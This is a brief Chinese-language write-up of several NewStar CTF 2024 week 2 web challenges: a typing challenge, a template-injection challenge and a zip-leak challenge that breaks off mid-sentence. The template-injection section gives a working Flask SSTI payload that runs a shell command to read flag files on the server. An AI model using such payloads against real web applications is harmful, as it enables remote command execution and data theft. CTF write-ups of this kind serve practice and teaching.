NewStar CTF 2024-week2-web

你能在一秒内打出八句英文吗

点击I CAN
错误输入，提交

直接AI编写脚本，把要打出的英文导入到脚本里面，就能得到flag：

复读机

SSTI模板注入（可以使用使用工具fenjing)
直接flask ssti:{{lipsum.globals.get(‘os’).popen(‘cat /f*’).read()}}

遗失的拉链

提到拉链，就知道这是有关zip
右键检查，发现代码没有什么信息
我们直接

PangBai 过家家（2）